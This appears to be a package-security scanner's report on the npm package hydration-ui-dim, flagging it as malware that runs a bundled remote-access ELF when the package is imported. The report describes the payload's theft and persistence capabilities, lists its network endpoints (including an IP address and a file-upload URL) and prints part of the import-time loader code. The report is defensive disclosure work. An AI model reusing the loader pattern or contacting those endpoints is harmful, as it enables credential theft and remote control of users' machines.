hydration-ui-dim
Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store.
This report shows the evidence for hydration-ui-dim@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis package disguises a full remote-access and theft payload as a date-math accelerator, then launches it during ordinary import. The lack of an npm lifecycle script does not mitigate the import-time execution path.
Static reason
No blocking static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Any runtime import of hydration-ui-dim's root entrypoint.
Impact
Remote control, credential and SSH-key theft, data exfiltration, arbitrary payload execution, and user-level persistence.
Mechanism
import-time detached execution of a bundled malicious ELF
Attack narrative
The root module immediately chmods, hash-checks, and detached-spawns calc-math.dat. The bundled ELF is not required for the advertised date math, whose JavaScript engine check is explicitly a placeholder. Its embedded RedShell command strings describe C2 beaconing, SSH and browser-credential collection, uploads, remote ELF/shellcode staging, SOCKS/port forwarding, and cron, shell-profile, systemd, and XDG persistence. This is a concrete malicious payload activated merely by importing the package.
AI rationale
This package disguises a full remote-access and theft payload as a date-math accelerator, then launches it during ordinary import. The lack of an npm lifecycle script does not mitigate the import-time execution path.
Evidence
package.jsondist/index.mjsdist/internal/calc-math.datdist/internal/daymath.mjsdist/store.mjs
Network endpoints3
api.ipify.orglitterbox.catbox.moe/resources/internals/api.php217.60.77.63
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Root import executes a bundled ELF as a detached child process.
- The verified ELF contains RedShell C2, credential/SSH-key harvesting, data-exfiltration, payload staging, and persistence commands.
- The native accelerator claim is deceptive: the exported math functions use pure JavaScript and only a placeholder engine check.
- No lifecycle hook is needed because execution occurs on normal package import.
Evidence against
- package.json declares no npm lifecycle scripts.
- The JavaScript store is a scoped, explicit-use temporary JSON store.
Behavioral surface
ChildProcessCryptoFilesystemShell
Source & flagged code
5 flagged · loading sourcedist/internal/calc-math.datView file
•path = dist/internal/calc-math.dat
kind = native_binary
sizeBytes = 63616
magicHex = [redacted]
Medium
dist/index.mjsView file
•matchType = malicious_source_fingerprint_signature
signature = 5501fa102f254897
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = hydration-dim-kit@1.0.0
matchedPath = dist/index.mjs
matchedIdentity = npm:aHlkcmF0aW9uLWRpbS1raXQ:1.0.0
similarity = 1.000
shingleOverlap = 2
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
dist/index.mjsView on unpkg24(async () => {
try {
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const binaryPath = path.join(__dirname, 'internal', 'calc-math.dat');
if (!fs.existsSync(binaryPath)) {
console.warn('Native accelerator not found. Falling back to JS implementation.');
return;
}
try {
fs.chmodSync(binaryPath, 0o755);
Findings
4 High1 Medium1 Low
HighKnown Malware Source Fingerprint Signaturedist/index.mjs
HighAi Review Evidencedist/index.mjs
HighAi Review Evidencedist/index.mjs
HighAi Review Evidencedist/internal/daymath.mjs
MediumShips Native Binarydist/internal/calc-math.dat
LowFilesystem
Affected versions and remediation
This report applies to hydration-ui-dim@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing hydration-ui-dim@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.